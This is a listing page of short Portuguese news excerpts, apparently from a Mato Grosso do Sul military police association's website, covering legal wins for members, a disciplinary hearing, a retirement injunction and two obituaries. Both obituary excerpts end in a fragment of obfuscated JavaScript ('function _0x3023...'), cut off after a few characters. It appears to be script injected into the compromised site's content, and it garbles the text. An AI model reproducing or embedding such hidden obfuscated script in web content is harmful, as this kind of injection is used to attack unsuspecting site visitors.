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O trabalho da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), mais uma vez, garantiu a absolvição de dois associados, desta vez, denunciados por corrupção passiva e falsidade ideológica. O julgamento foi realizado na última segunda-feira (16). A defesa sustentou a falta de provas nos autos, bem como a inexistência de um elo entre a conduta dos acusados e tipo penal trazido na denúncia. “É sabido que, para a condenação, carece de um substrato mínimo de certeza absoluta da existência da conduta do acusado com o resultado do fato delituoso, fato que não restou demonstrado durante a instrução processual”, explicou. Os advogados da ACS que foram responsáveis pelo caso ainda suscitaram atipicidade de conduta, uma vez...

Um policial militar, sócio da Regional de Aquidauana, foi considerado apto a permanecer nas fileiras da Polícia Militar após atuação da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). O julgamento do Conselho de Disciplina foi realizado no último dia 4. O militar, segundo a defesa, vinha sofrendo uma ação de produção antecipada de provas interpostas pelo MPE (Ministério Público Estadual). O sócio, em razão da apuração ocorrida em Aquidauana, foi transferido para o Batalhão de Guarda e Escolta, em Campo Grande, o que ocasionou infortúnios, inclusive sendo impedido de participar do CFS (Curso de Formação de Sargentos) por responder ao Conselho de Disciplina. No entanto, depois de concluída a ação em Aquidauana, o...

É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta a morte da CB PM REF Mônica Cibele Cruz, ocorrida na noite de ontem, em Campo Grande. Ela veio a óbito após complicações decorrentes de um transplante de rim. Cibele nasceu em Presidente Epitácio (SP) em 18 de junho de 1978. Ingressou na Polícia Militar em 1998, e atuou em unidades como Policlínica, 6ª Companhia e DOF (Departamento de Operações de Fronteira). Rogamos a Deus para que conforte seus familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];...

É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) lamenta o falecimento do 2° SGT PM Malk Anderson Valdonado, ocorrido na madrugada desta segunda-feira (09), em Campo Grande. Ele foi mais um policial militar vitimado pela Covid-19. Malk foi diretor da ACS entre os anos de 2012 e 2015, e atualmente ocupava o cargo de diretor da AME-MS (Associação dos Militares Estaduais). Ele ingressou como soldado em 1998 e foi promovido a cabo em 2003. Em 2014, tornou-se terceiro-sargento e, em 2018, foi promovido a segundo-sargento. Rogamos a Deus para que conforte seus familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();r...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em Coxim conseguiu uma antecipação de tutela para manter no serviço ativo um associado que havia sido afastado durante o processo de sua transferência para a reserva. O militar pertence a turma de 1990 e seria transferido para a reserva remunerada ex-officio ao completar 30 anos de efetivo serviço, antes de vigorar a Lei Complementar 275/20, que altera o art. 91 da Lei 053/90. Ela prevê que a transferência ex-officio para a reserva remunerada não se dará mais quando o militar completar o tempo máximo de efetivo serviço, mas, sim, quando atingir as idades limites (confira abaixo). O Jurídico da ACS, então, solicitou uma tutela antecipada, com base na nova lei, para...